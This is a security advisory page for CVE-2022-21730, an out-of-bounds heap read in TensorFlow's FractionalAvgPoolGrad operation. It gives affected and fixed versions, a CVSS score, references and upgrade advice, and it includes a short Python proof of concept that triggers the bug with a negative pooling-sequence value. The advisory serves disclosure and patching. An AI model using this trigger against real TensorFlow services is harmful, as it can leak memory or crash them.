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  5. CVE-2022-21730

CVE-2022-21730: Out of bounds read in Tensorflow

February 9, 2022 (updated November 13, 2024)

The implementation of FractionalAvgPoolGrad does not consider cases where the input tensors are invalid allowing an attacker to read from outside of bounds of heap:

import tensorflow as tf

@tf.function
def test():
y = tf.raw_ops.FractionalAvgPoolGrad(
orig_input_tensor_shape=[2,2,2,2],
out_backprop=[[[[1,2], [3, 4], [5, 6]], [[7, 8], [9,10], [11,12]]]],
row_pooling_sequence=[-10,1,2,3],
col_pooling_sequence=[1,2,3,4],
overlapping=True)
return y

test()

References

  • github.com/advisories/GHSA-vjg4-v33c-ggc4
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-54.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-109.yaml
  • github.com/tensorflow/tensorflow
  • github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/fractional_avg_pool_op.cc
  • github.com/tensorflow/tensorflow/commit/002408c3696b173863228223d535f9de72a101a9
  • github.com/tensorflow/tensorflow/security/advisories/GHSA-vjg4-v33c-ggc4
  • nvd.nist.gov/vuln/detail/CVE-2022-21730

Code Behaviors & Features

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Affected versions

All versions before 2.5.3, all versions starting from 2.6.0 before 2.6.3, all versions starting from 2.7.0 before 2.7.1, version 2.7.0

Fixed versions

  • 2.5.3
  • 2.6.3
  • 2.7.1

Solution

Upgrade to versions 2.5.3, 2.6.3, 2.7.1 or above.

Impact 8.1 HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

Learn more about CVSS

Weakness

  • CWE-125: Out-of-bounds Read

Source file

pypi/tensorflow-cpu/CVE-2022-21730.yml

Spotted a mistake? Edit the file on GitLab.

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